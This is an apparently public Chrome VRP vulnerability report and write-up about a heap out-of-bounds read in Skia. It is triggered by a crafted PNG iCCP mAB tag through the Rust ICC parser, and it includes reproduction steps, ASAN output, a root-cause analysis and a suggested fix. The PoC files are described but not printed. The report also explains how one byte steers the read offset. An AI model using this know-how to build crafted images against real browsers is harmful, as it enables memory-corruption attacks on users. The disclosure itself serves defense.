Heap buffer overflow in Skia (CVE-2026-10993)
Originally disclosed on Chrome VRP
- Fix shipped in 45 days
Report description
Heap-buffer-overflow in skcms::select_curve_ops via a PNG iCCP mAB tag on the default Rust ICC path
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
https://chromium.googlesource.com/chromium/src/
The problem
Please describe the technical details of the vulnerability
Summary
A PNG iCCP chunk carrying an mAB (A-to-B multidimensional LUT) tag with input_channels=64 and output_channels=3 is accepted by the default Rust ICC parser because the channel check in moxcms::Reader::read_lut_abm_type (reader.rs) reads if in_channels > 4 && out_channels > 4 { return Ok(None); }, where the intent is ||.
The Rust FFI in FFI.rs forwards A2B.input_channels = 64 to C++. rust_icc::ToSkcmsA2B in FFI.cpp returns false because the value is out of range, but SkCodecs::MakeICCProfileWithRust in SkCodecColorProfileRust.cpp throws that return value away, so the incomplete skcms_A2B is installed anyway. When SkColorSpace::Make runs skcms_ApproximatelyEqualProfiles during PNG decode, it reaches add_curve_ops(A2B.input_curves, 64) in skcms.cc, and select_curve_ops iterates its loop 64 times. At the first iteration it reads curves[63].table_entries, which sits 2016 bytes from the start of the four-element input_curves array and 1176 bytes past the end of the 1000-byte ColorProfile heap allocation.
A plain <img src=evil.png> triggers this on dev/beta Chromium with no JavaScript, no user gesture, and no feature flag.
Choosing other values for input_channels shifts the read offset: each +1 moves it by 32 bytes (sizeof(skcms_Curve)). Setting input_channels=5 reaches curves[4].table_entries inside the skcms_A2B struct and also reaches kOps[4] inside select_curve_op, which AddressSanitizer reports as a global-buffer-overflow 4 bytes past a 96-byte static array.
Tested build
chromium/srcrevision736c900b2d459d998a4ea2da291d98fbfce75ca6
Steps to reproduce
-
Place
poc.htmlandevil.pngin a directory and serve it locally on port 7200, e.g.python3 -m http.server 7200. -
Launch the ASAN Chromium build against a fresh user-data directory:
ASAN_OPTIONS=symbolize=1:external_symbolizer_path=<asan-dir>/llvm-symbolizer <asan-dir>/chrome --user-data-dir=/tmp/p1 --no-sandbox --headless=new --disable-gpu --virtual-time-budget=10000 http://127.0.0.1:7200/poc.htmlThe renderer aborts and AddressSanitizer prints a symbolized
heap-buffer-overflowreport identifyingselect_curve_opsinskcms.ccas the site of the OOB read andSkCodecs::MakeICCProfileWithRustas the origin of the 1000-byte allocation.
ASAN stack trace
[37715:37715:0419/074644.093283:ERROR:dbus/object_proxy.cc:572] Failed to call method: org.freedesktop.DBus.Properties.GetAll: object_path= /org/freedesktop/UPower/devices/DisplayDevice: org.freedesktop.DBus.Error.ServiceUnknown: The name org.freedesktop.UPower was not provided by any .service files
=================================================================
==37825==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6e4cb3062e00 at pc 0x590cacc40e57 bp 0x7fff6648bb20 sp 0x7fff6648bb18
READ of size 4 at 0x6e4cb3062e00 thread T0 (chrome)
#0 0x590cacc40e56 in select_curve_ops(skcms_Curve const*, int, OpAndArg*) third_party/skia/modules/skcms/skcms.cc:2545:27
#1 0x590cacc3fbef in skcms_Transform::$_2::operator()(skcms_Curve const*, int) const third_party/skia/modules/skcms/skcms.cc:2758:22
#2 0x590cacc393d3 in skcms_Transform third_party/skia/modules/skcms/skcms.cc:2877:22
#3 0x590cacc37f4d in skcms_ApproximatelyEqualProfiles third_party/skia/modules/skcms/skcms.cc:1782:10
#4 0x590cac808b19 in SkColorSpace::Make(skcms_ICCProfile const&) third_party/skia/src/core/SkColorSpace.cpp:345:16
#5 0x590cc6187779 in SkEncodedInfo::makeImageInfo() const third_party/skia/src/codec/SkEncodedInfo.cpp:19:46
#6 0x590cd501653f in blink::SkiaImageDecoderBase::OnSetData(scoped_refptr<blink::SegmentReader>) third_party/skia/include/codec/SkCodec.h:233:55
#7 0x590cd4b7af09 in blink::ImageDecoder::SetData(scoped_refptr<blink::SegmentReader>, bool) third_party/blink/renderer/platform/image-decoders/image_decoder.h:286:5
#8 0x590cd4fd4a54 in blink::ImageDecoder::CreateByMimeType(blink::String, scoped_refptr<blink::SegmentReader>, bool, blink::ImageDecoder::AlphaOption, blink::ImageDecoder::HighBitDepthDecodingOption, blink::ColorBehavior, cc::AuxImage, unsigned long, SkISize const&, blink::ImageDecoder::AnimationOption) third_party/blink/renderer/platform/image-decoders/image_decoder.cc:353:14
#9 0x590cd4fd3787 in blink::ImageDecoder::Create(scoped_refptr<blink::SegmentReader>, bool, blink::ImageDecoder::AlphaOption, blink::ImageDecoder::HighBitDepthDecodingOption, blink::ColorBehavior, cc::AuxImage, unsigned long, SkISize const&, blink::ImageDecoder::AnimationOption) third_party/blink/renderer/platform/image-decoders/image_decoder.cc:290:10
#10 0x590cd4b73ee0 in blink::DeferredImageDecoder::Create(scoped_refptr<blink::SharedBuffer>, bool, blink::ImageDecoder::AlphaOption, blink::ColorBehavior) third_party/blink/renderer/platform/image-decoders/image_decoder.h:230:12
#11 0x590cd4a88cd0 in blink::BitmapImage::SetData(scoped_refptr<blink::SharedBuffer>, bool) third_party/blink/renderer/platform/graphics/bitmap_image.cc:240:14
#12 0x590cd3645930 in blink::ImageResourceContent::UpdateImage(scoped_refptr<blink::SharedBuffer>, blink::ResourceStatus, blink::ImageResourceContent::UpdateImageOption, bool, bool) third_party/blink/renderer/core/loader/resource/image_resource_content.cc:514:35
#13 0x590cd3636047 in blink::ImageResource::UpdateImage(scoped_refptr<blink::SharedBuffer>, blink::ImageResourceContent::UpdateImageOption, bool) third_party/blink/renderer/core/loader/resource/image_resource.cc:677:31
#14 0x590cd3636d8a in blink::ImageResource::AppendData(std::__Cr::variant<blink::SegmentedBuffer, base::span<char const, 18446744073709551615ul, char const*>>) third_party/blink/renderer/core/loader/resource/image_resource.cc:460:7
#15 0x590cbc81c4ee in blink::ResourceLoader::DidReceiveDataImpl(std::__Cr::variant<blink::SegmentedBuffer, base::span<char const, 18446744073709551615ul, char const*>>) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:1067:14
#16 0x590cbc81ed15 in non-virtual thunk to blink::ResourceLoader::DidReceiveData(base::span<char const, 18446744073709551615ul, char const*>) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:1041:3
#17 0x590cbc85928b in blink::ResponseBodyLoader::OnStateChange() third_party/blink/renderer/platform/loader/fetch/response_body_loader.cc:433:12
#18 0x590cbc80abda in blink::ResourceLoader::DidStartLoadingResponseBodyInternal(blink::BytesConsumer&) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:346:28
#19 0x590cbc81713b in blink::ResourceLoader::DidReceiveResponse(blink::WebURLResponse const&, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:787:3
#20 0x590cbc8859ae in blink::BackgroundURLLoader::Context::OnReceivedResponse(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int) third_party/blink/renderer/platform/loader/fetch/url_loader/background_url_loader.cc:492:14
#21 0x590cbc885efe in void base::internal::DecayedFunctorTraits<void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>&&, mojo::StructPtr<network::mojom::URLResponseHead>&&, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>&&, std::__Cr::optional<mojo_base::BigBuffer>&&>::Invoke<void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>, mojo::StructPtr<network::mojom::URLResponseHead>, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, std::__Cr::optional<mojo_base::BigBuffer>, int>(void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>&&, mojo::StructPtr<network::mojom::URLResponseHead>&&, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>&&, std::__Cr::optional<mojo_base::BigBuffer>&&, int&&) base/functional/bind_internal.h:740:12
#22 0x590cbc885c4a in base::internal::Invoker<base::internal::FunctorTraits<void (blink::BackgroundURLLoader::Context::*&&)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>&&, mojo::StructPtr<network::mojom::URLResponseHead>&&, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>&&, std::__Cr::optional<mojo_base::BigBuffer>&&>, base::internal::BindState<true, true, false, void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>, mojo::StructPtr<network::mojom::URLResponseHead>, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, std::__Cr::optional<mojo_base::BigBuffer>>, void (int)>::RunOnce(base::internal::BindStateBase*, int) base/functional/bind_internal.h:932:12
#23 0x590cb7faafd3 in base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (int)>&&, int&&>, base::internal::BindState<false, true, true, base::OnceCallback<void (int)>, int>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/callback.h:155:12
#24 0x590cbc882fc7 in blink::BackgroundURLLoader::Context::RunTasksOnMainThread() base/functional/callback.h:155:12
#25 0x590cbc87b670 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::BackgroundURLLoader::Context::*&&)(), scoped_refptr<blink::BackgroundURLLoader::Context>&&>, base::internal::BindState<true, true, false, void (blink::BackgroundURLLoader::Context::*)(), scoped_refptr<blink::BackgroundURLLoader::Context>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#26 0x590cc3f837e3 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#27 0x590cc3ff48ec in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#28 0x590cc3ff378a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40
#29 0x590cc3e4147f in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#30 0x590cc3ff5fd4 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12
#31 0x590cc3efdb20 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#32 0x590cd05a218a in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:337:16
#33 0x590cbff692ff in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:664:14
#34 0x590cbff6a637 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:771:12
#35 0x590cbff6d348 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1152:10
#36 0x590cbff66d01 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
#37 0x590cbff672fc in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
#38 0x590cabbda2a9 in ChromeMain chrome/app/chrome_main.cc:194:12
#39 0x70bcb4a2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#40 0x70bcb4a2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
#41 0x590cabaff029 in _start (/home/ubuntu/workspaces/chromium/asan-chrome/chrome+0x10fdf029) (BuildId: 250795ae951b3a3b)
0x6e4cb3062e00 is located 1176 bytes after 1000-byte region [0x6e4cb3062580,0x6e4cb3062968)
allocated by thread T0 (chrome) here:
#0 0x590cabbd859d in operator new(unsigned long) (/home/ubuntu/workspaces/chromium/asan-chrome/chrome+0x110b859d) (BuildId: 250795ae951b3a3b)
#1 0x590cacc1bfa0 in SkCodecs::MakeICCProfileWithRust(sk_sp<SkData const>) third_party/skia/src/codec/SkCodecColorProfileRust.cpp:31:25
#2 0x590cc6186afc in SkCodecs::ColorProfile::MakeICCProfile(sk_sp<SkData const>) third_party/skia/src/codec/SkCodecColorProfile.cpp:83:12
#3 0x590cc61a5a9c in SkPngRustCodec::MakeFromStream(std::__Cr::unique_ptr<SkStream, std::__Cr::default_delete<SkStream>>, SkCodec::Result*) third_party/skia/src/codec/SkPngRustCodec.cpp:168:17
#4 0x590cc61a5299 in SkPngRustDecoder::Decode(std::__Cr::unique_ptr<SkStream, std::__Cr::default_delete<SkStream>>, SkCodec::Result*, void*) third_party/skia/src/codec/SkPngRustDecoder.cpp:34:12
#5 0x590cd501646f in blink::SkiaImageDecoderBase::OnSetData(scoped_refptr<blink::SegmentReader>) third_party/blink/renderer/platform/image-decoders/skia/skia_image_decoder_base.cc:86:14
#6 0x590cd4b7af09 in blink::ImageDecoder::SetData(scoped_refptr<blink::SegmentReader>, bool) third_party/blink/renderer/platform/image-decoders/image_decoder.h:286:5
#7 0x590cd4fd4a54 in blink::ImageDecoder::CreateByMimeType(blink::String, scoped_refptr<blink::SegmentReader>, bool, blink::ImageDecoder::AlphaOption, blink::ImageDecoder::HighBitDepthDecodingOption, blink::ColorBehavior, cc::AuxImage, unsigned long, SkISize const&, blink::ImageDecoder::AnimationOption) third_party/blink/renderer/platform/image-decoders/image_decoder.cc:353:14
#8 0x590cd4fd3787 in blink::ImageDecoder::Create(scoped_refptr<blink::SegmentReader>, bool, blink::ImageDecoder::AlphaOption, blink::ImageDecoder::HighBitDepthDecodingOption, blink::ColorBehavior, cc::AuxImage, unsigned long, SkISize const&, blink::ImageDecoder::AnimationOption) third_party/blink/renderer/platform/image-decoders/image_decoder.cc:290:10
#9 0x590cd4b73ee0 in blink::DeferredImageDecoder::Create(scoped_refptr<blink::SharedBuffer>, bool, blink::ImageDecoder::AlphaOption, blink::ColorBehavior) third_party/blink/renderer/platform/image-decoders/image_decoder.h:230:12
#10 0x590cd4a88cd0 in blink::BitmapImage::SetData(scoped_refptr<blink::SharedBuffer>, bool) third_party/blink/renderer/platform/graphics/bitmap_image.cc:240:14
#11 0x590cd3645930 in blink::ImageResourceContent::UpdateImage(scoped_refptr<blink::SharedBuffer>, blink::ResourceStatus, blink::ImageResourceContent::UpdateImageOption, bool, bool) third_party/blink/renderer/core/loader/resource/image_resource_content.cc:514:35
#12 0x590cd3636047 in blink::ImageResource::UpdateImage(scoped_refptr<blink::SharedBuffer>, blink::ImageResourceContent::UpdateImageOption, bool) third_party/blink/renderer/core/loader/resource/image_resource.cc:677:31
#13 0x590cd3636d8a in blink::ImageResource::AppendData(std::__Cr::variant<blink::SegmentedBuffer, base::span<char const, 18446744073709551615ul, char const*>>) third_party/blink/renderer/core/loader/resource/image_resource.cc:460:7
#14 0x590cbc81c4ee in blink::ResourceLoader::DidReceiveDataImpl(std::__Cr::variant<blink::SegmentedBuffer, base::span<char const, 18446744073709551615ul, char const*>>) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:1067:14
#15 0x590cbc81ed15 in non-virtual thunk to blink::ResourceLoader::DidReceiveData(base::span<char const, 18446744073709551615ul, char const*>) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:1041:3
#16 0x590cbc85928b in blink::ResponseBodyLoader::OnStateChange() third_party/blink/renderer/platform/loader/fetch/response_body_loader.cc:433:12
#17 0x590cbc80abda in blink::ResourceLoader::DidStartLoadingResponseBodyInternal(blink::BytesConsumer&) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:346:28
#18 0x590cbc81713b in blink::ResourceLoader::DidReceiveResponse(blink::WebURLResponse const&, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>) third_party/blink/renderer/platform/loader/fetch/resource_loader.cc:787:3
#19 0x590cbc8859ae in blink::BackgroundURLLoader::Context::OnReceivedResponse(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int) third_party/blink/renderer/platform/loader/fetch/url_loader/background_url_loader.cc:492:14
#20 0x590cbc885efe in void base::internal::DecayedFunctorTraits<void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>&&, mojo::StructPtr<network::mojom::URLResponseHead>&&, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>&&, std::__Cr::optional<mojo_base::BigBuffer>&&>::Invoke<void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>, mojo::StructPtr<network::mojom::URLResponseHead>, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, std::__Cr::optional<mojo_base::BigBuffer>, int>(void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>&&, mojo::StructPtr<network::mojom::URLResponseHead>&&, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>&&, std::__Cr::optional<mojo_base::BigBuffer>&&, int&&) base/functional/bind_internal.h:740:12
#21 0x590cbc885c4a in base::internal::Invoker<base::internal::FunctorTraits<void (blink::BackgroundURLLoader::Context::*&&)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>&&, mojo::StructPtr<network::mojom::URLResponseHead>&&, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>&&, std::__Cr::optional<mojo_base::BigBuffer>&&>, base::internal::BindState<true, true, false, void (blink::BackgroundURLLoader::Context::*)(mojo::StructPtr<network::mojom::URLResponseHead>, std::__Cr::variant<mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, blink::SegmentedBuffer>, std::__Cr::optional<mojo_base::BigBuffer>, int), scoped_refptr<blink::BackgroundURLLoader::Context>, mojo::StructPtr<network::mojom::URLResponseHead>, mojo::ScopedHandleBase<mojo::DataPipeConsumerHandle>, std::__Cr::optional<mojo_base::BigBuffer>>, void (int)>::RunOnce(base::internal::BindStateBase*, int) base/functional/bind_internal.h:932:12
#22 0x590cb7faafd3 in base::internal::Invoker<base::internal::FunctorTraits<base::OnceCallback<void (int)>&&, int&&>, base::internal::BindState<false, true, true, base::OnceCallback<void (int)>, int>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/callback.h:155:12
#23 0x590cbc882fc7 in blink::BackgroundURLLoader::Context::RunTasksOnMainThread() base/functional/callback.h:155:12
#24 0x590cbc87b670 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::BackgroundURLLoader::Context::*&&)(), scoped_refptr<blink::BackgroundURLLoader::Context>&&>, base::internal::BindState<true, true, false, void (blink::BackgroundURLLoader::Context::*)(), scoped_refptr<blink::BackgroundURLLoader::Context>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#25 0x590cc3f837e3 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#26 0x590cc3ff48ec in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#27 0x590cc3ff378a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40
#28 0x590cc3e4147f in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:42:55
#29 0x590cc3ff5fd4 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12
SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/skia/modules/skcms/skcms.cc:2545:27 in select_curve_ops(skcms_Curve const*, int, OpAndArg*)
Shadow bytes around the buggy address:
0x6e4cb3062b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3062c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3062c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3062d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3062d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x6e4cb3062e00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3062e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3062f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3062f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3063000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x6e4cb3063080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==37825==ADDITIONAL INFO
==37825==Note: Please include this section with the ASan report.
Task trace:
#0 0x590cbc8820f8 in blink::BackgroundURLLoader::Context::PostTaskToMainThread(blink::CrossThreadOnceFunction<void ()>) third_party/blink/renderer/platform/loader/fetch/url_loader/background_url_loader.cc:422:52
#1 0x590cc4c8e1d3 in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:103:13
Command line: `/proc/self/exe --type=renderer --crashpad-handler-pid=37718 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/p1 --change-stack-guard-on-fork=enable --no-sandbox --file-url-path-alias=/gen=/home/ubuntu/workspaces/chromium/asan-chrome/gen --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1776554627983056 --launch-time-ticks=4975995880 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,18058394970892133764,3878336514317533622,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,7079416843415264851,3999492147164696732,4 --trace-process-track-uuid=3190708990997080739`
==37825==END OF ADDITIONAL INFO
==37825==ABORTING
Root cause
Four defects on one reachable path; fixing any one closes the bug.
-
The channel check in
moxcms::Reader::read_lut_abm_type(reader.rs) usesif in_channels > 4 && out_channels > 4 { return Ok(None); }. The operator should be||. For(in=64, out=3)the expression istrue && false, so the check passes. -
The
LutWarehouse::Multidimensionalarm in FFI.rs copiesmdt.num_input_channelsintoA2B.input_channelsand truncatesmdt.grid_points[..4]into a fixed four-element array without rejecting out-of-range channel counts. -
rust_icc::ToSkcmsA2Bin FFI.cpp does rejectinput_channels > 4and returnsfalse, but it writes the partially-filledskcms_A2Bstruct first. Only four of the 64 declaredinput_curvesslots end up populated. -
SkCodecs::MakeICCProfileWithRustin SkCodecColorProfileRust.cpp ignores theboolreturned byrust_icc::ToSkcmsIccProfile, so the half-populated profile flows through and gets installed on theSkColorSpace.
With the profile installed, SkColorSpace::Make runs skcms_ApproximatelyEqualProfiles, which runs skcms_Transform over 84 probe pixels. That path calls add_curve_ops(A2B.input_curves, A2B.input_channels) with the attacker-controlled channel count. add_curve_ops in skcms.cc declares a four-element stack buffer OpAndArg oa[4], asserts numChannels <= 4 (the assertion is removed in release builds), and calls select_curve_ops(curves, 64, oa). The loop reads curves[index].table_entries for index from 63 down to 0. The first read is 63 slots past &A2B::input_curves[0], which is past the end of the 1000-byte ColorProfile allocation that the renderer made in SkCodecs::MakeICCProfileWithRust.
Related report
A separate report of mine (*https://issues.chromium.org/issues/504103236*) targets a different validator (read_lut_a_to_b_type, handling the legacy mft1/mft2 tags) and a different sink (clut() via sample_clut_16). A patch to that validator does not close this report because mAB/mBA tags take a different parser path (read_lut_abm_type). Defects 3 and 4 above are common to both reports, so a patch on either of those two defects would close both as a side effect.
Suggested fix
In moxcms::Reader::read_lut_a_to_b_type and read_lut_abm_type, replace the current channel checks with a plain range test, for example:
if !(1..=4).contains(&in_channels) || !(1..=4).contains(&out_channels) {
return Err(CmsError::InvalidProfile);
}
Separately, have SkCodecs::MakeICCProfileWithRust check the return of rust_icc::ToSkcmsIccProfile and fail the decode when it returns false. The upstream moxcms repository is https://github.com/awxkee/moxcms.
Attachments
poc.htmlone-line HTML that loadsevil.png.evil.png620-byte PNG with the craftediCCPmAB tag (input_channels=64,output_channels=3).make_icc_poc.pydeterministic generator.python3 make_icc_poc.py Nemits the variant forinput_channels=N(default 64;N=5reproduces thekOps[4]global OOB).
Impact analysis
Security impact
Any origin serving <img src=evil.png> reaches this path during Blink's image decode. The same decode flow is used by <img>, <picture>, CSS background-image, SVG url(), createImageBitmap, canvas drawImage, and worker ImageDecoder. There is no CORS prompt, no user gesture, and no feature flag to enable.
The Rust ICC parser is the dev/beta default: SK_CODEC_COLOR_PROFILE_PARSE_WITH_RUST is listed in the defines array of config("skia_config") in skia/BUILD.gn, and blink::features::kForceSkcmsICCParsing is declared FEATURE_DISABLED_BY_DEFAULT in features.cc.
The input_channels byte of the mAB tag controls the OOB distance, so the attacker can aim the 4-byte read at different offsets past the ColorProfile allocation by varying that single byte.
The cause
What version of Chrome have you found the security issue in?
Chromium 149.0.7795.0 Dev ASAN
Is the security issue related to a crash?
Yes, it is related to a crash.
Choose the type of vulnerability
Memory Corruption (in a sandboxed process)
How would you like to be publicly acknowledged for your report?
M. Fauzan Wijaya (Gh05t666nero)
Context
Skia is the 2D graphics library inside Chromium, and it is responsible for decoding images and for colour management. When a PNG carries an embedded ICC profile in its iCCP chunk, Skia parses that profile and builds an SkColorSpace from it. Chromium has been migrating the ICC parsing code from C++ to Rust, and on dev and beta builds the Rust parser is the default path.
The report covers a heap buffer overflow in skcms::select_curve_ops, reached through a crafted PNG iCCP chunk that contains an mAB (A-to-B multidimensional LUT) tag with input_channels=64 and output_channels=3. The bug was reported through the Chrome Vulnerability Reward Program against the chromium/src repository, and the tested build was Chromium 149.0.7795.0 Dev ASAN at revision [redacted]. The platform records it as a medium severity heap buffer overflow in Skia, disclosed on 2026-06-02, with a bounty of 2000.00 USD.
Setup
The researcher worked against a local checkout of chromium/src at revision [redacted] and an AddressSanitizer build of Chromium. The proof of concept consists of three files:
poc.html, a one-line HTML file that loadsevil.png.evil.png, a 620-byte PNG with the craftediCCPmAB tag (input_channels=64,output_channels=3).make_icc_poc.py, a deterministic generator. Runningpython3 make_icc_poc.py Nemits the variant forinput_channels=N, defaulting to 64;N=5reproduces thekOps[4]global out-of-bounds read.
The files are served locally on port 7200, and the ASAN build is launched headless against a fresh user-data directory. No account, extension or special configuration is needed: the Rust ICC parser is the default on dev and beta, as described below.
Finding it
The first defect is the channel check in the Rust ICC parser. In moxcms::Reader::read_lut_abm_type in third_party/rust/chromium_crates_io/vendor/moxcms-v0_8/src/reader.rs, the check reads:
if in_channels > 4 && out_channels > 4 { return Ok(None); }
The report states the intent is ||, which would reject any LUT whose input or output channel count is out of range. With &&, a tag with (in=64, out=3) evaluates to true && false, so the check passes and the malformed tag is accepted. That is the first defect, and it is what makes the rest of the path reachable.
The Rust FFI layer does not reject the out-of-range count either. The LutWarehouse::Multidimensional arm in third_party/skia/rust/icc/FFI.rs copies mdt.num_input_channels into A2B.input_channels and truncates mdt.grid_points[..4] into a fixed four-element array, without rejecting out-of-range channel counts. So A2B.input_channels = 64 is forwarded to C++.
